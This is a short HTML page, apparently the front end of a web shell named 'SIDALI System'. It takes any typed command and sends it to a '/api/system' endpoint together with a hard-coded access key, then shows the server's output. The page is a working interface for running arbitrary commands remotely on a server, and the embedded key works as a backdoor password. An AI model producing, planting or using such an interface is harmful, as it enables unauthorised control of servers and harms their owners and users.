| 123456789101112131415161718192021 |
- <!DOCTYPE html>
- <html>
- <head><title>System</title></head>
- <body style="font-family:monospace;background:#111;color:#0f0;padding:20px">
- <h2>SIDALI System</h2>
- <form id="f">
- <input id="c" style="width:80%;padding:10px;background:#222;color:#0f0;border:1px solid #0f0" placeholder="Command...">
- <button type="submit" style="padding:10px;background:#0f0;color:#111">Run</button>
- </form>
- <pre id="o" style="background:#000;padding:15px;margin-top:15px"></pre>
- <script>
- document.getElementById("f").onsubmit=async e=>{
- e.preventDefault();
- const c=document.getElementById("c").value;
- const r=await fetch("/api/system?key=51d@l!v4&c="+encodeURIComponent(c));
- const d=await r.json();
- document.getElementById("o").textContent=d.out||d.err||JSON.stringify(d);
- };
- </script>
- </body>
- </html>
|